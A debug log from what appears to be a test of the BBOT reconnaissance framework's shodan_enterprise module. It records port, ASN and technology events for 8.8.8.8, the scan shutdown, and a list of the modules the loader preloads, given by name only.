tags={'in-scope'}) -2026-02-27 22:15:19,383 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:15:19,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:15:19,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:15:19,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:15:19,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,391 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,392 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:15:19,393 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:15:19,393 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:15:19,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:15:19,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:15:19,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:15:19,395 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,396 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,397 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,397 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:15:19,398 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,398 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,399 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:15:19,399 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:15:19,400 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:15:19,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,401 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,402 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:15:19,402 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:15:19,403 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,403 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:15:19,404 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:15:19,404 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:15:19,405 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,405 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,406 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:15:19,406 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:15:19,407 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:15:19,408 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:15:19,408 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:15:19,408 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:15:19,409 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,409 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:15:19,410 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:15:19,410 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:15:19,411 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,411 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,411 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:15:19,412 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:15:19,413 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,413 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:15:19,414 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:15:19,414 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:15:19,415 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,482 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:15:19,483 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,484 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:15:19,485 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,485 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:15:19,485 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:15:19,486 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise -2026-02-27 22:15:19,486 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:15:19,487 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:15:19,487 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,487 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) from shodan_enterprise -2026-02-27 22:15:19,488 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:15:19,488 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:15:19,489 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:15:19,489 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:15:19,490 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:15:19,490 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:15:19,491 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:15:19,492 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:15:19,493 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:15:19,591 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:15:19,593 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:15:19,612 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:15:19,613 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:15:19,614 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:15:19,627 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:15:19,628 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:15:19,629 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:15:19,630 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:15:19,631 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:15:19,632 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:15:19,751 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_ty8f695kx7 completed in 0 seconds with status FINISHED -2026-02-27 22:15:19,751 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:15:19,752 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:15:19,754 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:15:19,754 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:16:31,988 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:16:32,001 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:16:32,003 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:16:32,005 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:16:32,006 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:16:32,008 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:16:32,009 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:16:32,011 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:16:32,012 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:16:32,013 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:16:32,015 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:16:32,016 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:16:32,017 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:16:32,019 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:16:32,020 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:16:32,021 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:16:32,022 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:16:32,023 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:16:32,025 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:16:32,025 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:16:32,027 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:16:32,028 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:16:32,030 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:16:32,031 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:16:32,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:16:32,033 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:16:32,038 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:16:32,039 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:16:32,041 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:16:32,043 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:16:32,047 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:16:32,048 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:16:32,053 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:16:32,055 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:16:32,057 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:16:32,058 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:16:32,061 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:16:32,062 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:16:32,065 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:16:32,066 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:16:32,067 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:16:32,068 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:16:32,069 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:16:32,070 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:16:32,071 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:16:32,073 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:16:32,074 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:16:32,075 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:16:32,076 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:16:32,077 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:16:32,079 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:16:32,080 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:16:32,081 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:16:32,083 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:16:32,085 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:16:32,086 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:16:32,087 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:16:32,089 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:16:32,090 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:16:32,091 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:16:32,092 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:16:32,093 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:16:32,095 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:16:32,097 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:16:32,098 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:16:32,099 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:16:32,107 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:16:32,109 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:16:32,110 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:16:32,111 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:16:32,114 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:16:32,115 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:16:32,116 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:16:32,118 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:16:32,119 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:16:32,120 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:16:32,121 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:16:32,122 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:16:32,123 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:16:32,125 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:16:32,126 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:16:32,127 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:16:32,129 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:16:32,131 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:16:32,132 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:16:32,133 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:16:32,134 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:16:32,136 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:16:32,138 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:16:32,139 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:16:32,140 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:16:32,141 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:16:32,152 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:16:32,153 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:16:32,155 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:16:32,156 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:16:32,158 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:16:32,159 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:16:32,160 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:16:32,161 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:16:32,163 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 